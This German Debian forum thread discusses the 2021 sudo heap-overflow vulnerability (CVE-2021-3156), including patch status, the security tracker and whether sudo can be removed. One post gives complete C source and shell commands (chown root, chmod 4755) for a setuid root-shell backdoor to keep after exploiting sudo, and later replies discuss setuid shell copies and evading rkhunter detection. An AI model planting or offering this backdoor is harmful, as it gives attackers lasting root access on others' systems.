sudo schwere Sicherheitslücke gefixt?

[Sandersbeek]

Hallo,

weiss jemand ob die sudo Sicherheitslücke vom Debian-Projekt schon gefixt wurde oder macht das Debian-Projekt da nix direkt?

hab mir heute ein Video angesehen, welches gestern Live ging, wo davon erzählt wurde, das es die Lücke schon 10 Jahre geben soll. bei dem sudo Projekt auf github soll sich da wohl schon was getan haben.

zwar soll das nur gehen, wenn man direkt Physischen Zugriff auf den PC hat, also aus der Ferne soll das wohl nicht Funktionieren, mit der Sicherheitslücke.

Hier die Hauptquelle: https://www.helpnetsecurity.com/2021/01 ... 2021-3156/
Hier das Video: https://www.youtube.com/watch?v=zvcTV9yoAK0

[JTH]

Siehe hier: https://security-tracker.debian.org/tra ... ckage/sudo

[Sandersbeek]

ah vielen dank, da sollte ich öfters mal nachsehen

[MSfree]

Code: Alles auswählen

dpkg -l | grep sudo

liefert bei mir nichts. Kein sudo keine Sicherheitslücke

[eggy]

Kein sudo keine Sicherheitslücke

@ MSfree: nicht traurig sein, gibt sicher auch in was anderem was für Dich

[Meillo]

Hier die Mail ueber debian-security-announce@lists.debian.org:
https://lists.debian.org/debian-securit ... 00020.html
Die Liste lohnt es sich zu abonnieren.

[Meillo]

Wenn ich da so drueber nachdenke, dann ist das schon eine echt happige Sicherheitsluecke. Also nicht so sehr fuer Einzeluser-Desktop-System, aber fuer alle Mehrbenutzer-Systeme, also typischerweise Server. Wenn da nicht umgehend die Sicherheitsupdates eingespielt worden sind, dann kann sich -- natuerlich nur wenn sudo auf dem System ist -- jeder User bequem eine root-Shell anlegen oder sich sonst einen dauerhaften root-Access einrichten. Im Vergleich zu den meisten anderen Sicherheitsluecken ist es hier halt so einfach und bequem moeglich sie zu nutzen. Da sicher noch nicht alle Systeme gepatcht sind, kann man sich auch immer noch den Weg machen ... Ich will gar nicht dran denken! :shocked:

So direkt bewusst ist mir das bisher noch nie gewesen, wie ich bekennen muss.

[mcb]

Ja die Lücke ist schei....

Kann man sudo eigentlich ganz runterschmeißen ?

[fischig]

Wenn du einen Root-Account hast - im Prinzip ja!

[mcb]

Wenn du einen Root-Account hast - im Prinzip ja!

Also

Code: Alles auswählen

apt purge sudo

?

[MSfree]

Wenn da nicht umgehend die Sicherheitsupdates eingespielt worden sind, dann kann sich -- natuerlich nur wenn sudo auf dem System ist -- jeder User bequem eine root-Shell anlegen oder sich sonst einen dauerhaften root-Access einrichten.

Hier der Weg, eine permanente root-Backdor zu bauen, solange sudo nicht gepatcht wurde:

Code: Alles auswählen

#include <stdio.h>

int main(void)
{
  seteuid(0);
  setuid(0);
  setgid(0);
  setegid(0);
  system("/bin/bash");
  return 0;
}

als sush.c speichern,

Code: Alles auswählen

cc -o sush sush.c

Dann die sudo-Lücke anwenden, um root-Rechte zu erlangen.
Anschließend die Dateirechte von sush mit

Code: Alles auswählen

chown root.root sush
chmod 4755 sush

ändern.

Danach hat man als normaler Benutzer jederzeit durch den Aufruf von sush eine root-Shell.

[Meillo]

Man muss nicht mal selber kompilieren, wenn es eine andere Shell als die Bash auf dem System hat. Die kann man einfach kopieren, root zum Besitzer machen und das suid-Bit setzen. (Die Bash laesst sich nicht suid-root starten.)

Suid-Programme kann man auf einem System allerdings leicht suchen und auch deren Checksum vergleichen. Macht das nicht rkhunter? So ein einfacher Ansatz sollte hoffentlich recht schnell auffallen und die dauerhafte root-Shell beseitigt werden koennen.

Sudo loggt doch seine Befehle? Damit sollte doch der mit `sudoedit' abgesetzte Befehl geloggt sein. ... wenn der Angreifer das Logfile nicht manipuliert hat, dann koennte man so ggf. rausfinden, wer die Luecke ausgenutzt hat ... wobei, wenn sie jemand ausnutzt, dann kann die Person natuerlich auch einfach den Username im Log abaendern ... Mist!

Am Ende laeuft es doch immer wieder darauf hinaus: Sobald ein System kompromitiert ist, kann man nur dann wieder sein, wenn man ein Backup von vor der Kompromitierung einspielt.

[MSfree]

Suid-Programme kann man auf einem System allerdings leicht suchen und auch deren Checksum vergleichen.

Natürlich ist mein Ansatz extrem primitiv. Wenn man allerdings an so einem System z.B. ein RAID mit mehreren zig-Millionen Dateien angehängt hat, sucht sich rkhunter 'nen Wolf. So ein kleines Executable ist halt leicht in einer riesigen Datenmenge "versteckt" und nur sehr zeitaufwändig auffindbar.

Am Ende laeuft es doch immer wieder darauf hinaus: Sobald ein System kompromitiert ist, kann man nur dann wieder sein, wenn man ein Backup von vor der Kompromitierung einspielt.

Richtig.

Man muss nicht mal selber kompilieren, wenn es eine andere Shell als die Bash auf dem System hat.

Die Shells, mit denen ich bisher Kontakt hatte, haben sich eigentlich alle gegen SUID geschützt. Das ging schon 1992 mit der csh unter IRIX nicht. Daher ja der Trick mit dem system-Call in dem Executable.

[Meillo]

Suid-Programme kann man auf einem System allerdings leicht suchen und auch deren Checksum vergleichen.

Natürlich ist mein Ansatz extrem primitiv. Wenn man allerdings an so einem System z.B. ein RAID mit mehreren zig-Millionen Dateien angehängt hat, sucht sich rkhunter 'nen Wolf. So ein kleines Executable ist halt leicht in einer riesigen Datenmenge "versteckt" und nur sehr zeitaufwändig auffindbar.

Akzeptiert.

Man muss nicht mal selber kompilieren, wenn es eine andere Shell als die Bash auf dem System hat.

Die Shells, mit denen ich bisher Kontakt hatte, haben sich eigentlich alle gegen SUID geschützt. Das ging schon 1992 mit der csh unter IRIX nicht. Daher ja der Trick mit dem system-Call in dem Executable.

Mit einer ksh habe ich das vor ein paar Jahren mal umgesetzt.

[MSfree]

Mit einer ksh habe ich das vor ein paar Jahren mal umgesetzt.

Ich nehme an, das war noch ein Unix?
Schon lustig, was da teilweise für haarstreubende Sicherheitslücken existiert haben.

[Meillo]

Mit einer ksh habe ich das vor ein paar Jahren mal umgesetzt.

Ich nehme an, das war noch ein Unix?

Nee.

Ich bin mir bloss nicht mehr ganz sicher, wie ich es gemacht habe. Das System war ein SLES oder RHEL. Entweder war die ksh dort drauf, oder ich habe sie extern kompiliert und dann dorthin kopiert. Ich denke aber, dass sie schon auf dem System war (sonst haette ich naemlich eher keine ksh zur Hand gehabt; ich verwende immer eine mksh). Ich weiss noch, dass ich es erst mit der bash probiert habe, was nicht ging. Vermutlich habe ich dann in /etc/shells geschaut was sonst noch fuer Shells vorhanden sind.

Hmm ... wobei, es war keine suid-root shell, sondern nur eine suid-nobody shell. Vielleicht haette suid-root nicht funktioniert ...

[OrangeJuice]

Die sudo Lücke hätte man bestimmt gut mit der Flatpak-Lücke verbinden können oder?

In vulnerable versions, the Flatpak portal service passes caller-specified environment variables to non-sandboxed processes on the host system, and in particular to the flatpak run command that is used to launch the new sandbox instance. A malicious or compromised Flatpak app could set environment variables that are trusted by the flatpak run command, and use them to execute arbitrary code that is not in a sandbox. Quelle(CVE-2021-21261)

[detix]

Wenn du einen Root-Account hast - im Prinzip ja!

Also

Code: Alles auswählen

apt purge sudo

?

Das ist für uns KDE Benutzer leider nicht so ganz klar:

Code: Alles auswählen

apt purge sudo
Das folgende Paket wurde automatisch installiert und wird nicht mehr benötigt:
  breeze-gtk-theme
Die folgenden Pakete werden ENTFERNT:
  kde-cli-tools* kscreen* libkf5su-bin* libkf5su5* plasma-desktop* sudo*

ob ich diese Pakete brauche oder nicht, werde ich nicht durchprobieren!
Womit KDE allerdings zufrieden ist, ist sudo durch ein entsprechendes dummy Paket (erstellt mit equivs) zu ersetzen.

[mcb]

Wenn du einen Root-Account hast - im Prinzip ja!

Also

Code: Alles auswählen

apt purge sudo

?

Das ist für uns KDE Benutzer leider nicht so ganz klar:

Code: Alles auswählen

apt purge sudo
Das folgende Paket wurde automatisch installiert und wird nicht mehr benötigt:
  breeze-gtk-theme
Die folgenden Pakete werden ENTFERNT:
  kde-cli-tools* kscreen* libkf5su-bin* libkf5su5* plasma-desktop* sudo*

ob ich diese Pakete brauche oder nicht, werde ich nicht durchprobieren!
Womit KDE allerdings zufrieden ist, ist sudo durch ein entsprechendes dummy Paket (erstellt mit equivs) zu ersetzen.

Danke - für mich als Gnome Benutzer ist es auch nicht ganz klar - obwohl mein Benutzer hat kein sudo -> also könnte es wohl weg ?!?

Code: Alles auswählen

marc@mb:~$ apt remove -s sudo
NOTE: This is only a simulation!
      apt needs root privileges for real execution.
      Keep also in mind that locking is deactivated,
      so don't depend on the relevance to the real current situation!
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages will be REMOVED:
  sudo
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
Remv sudo [1.9.5p2-1]
marc@mb:~$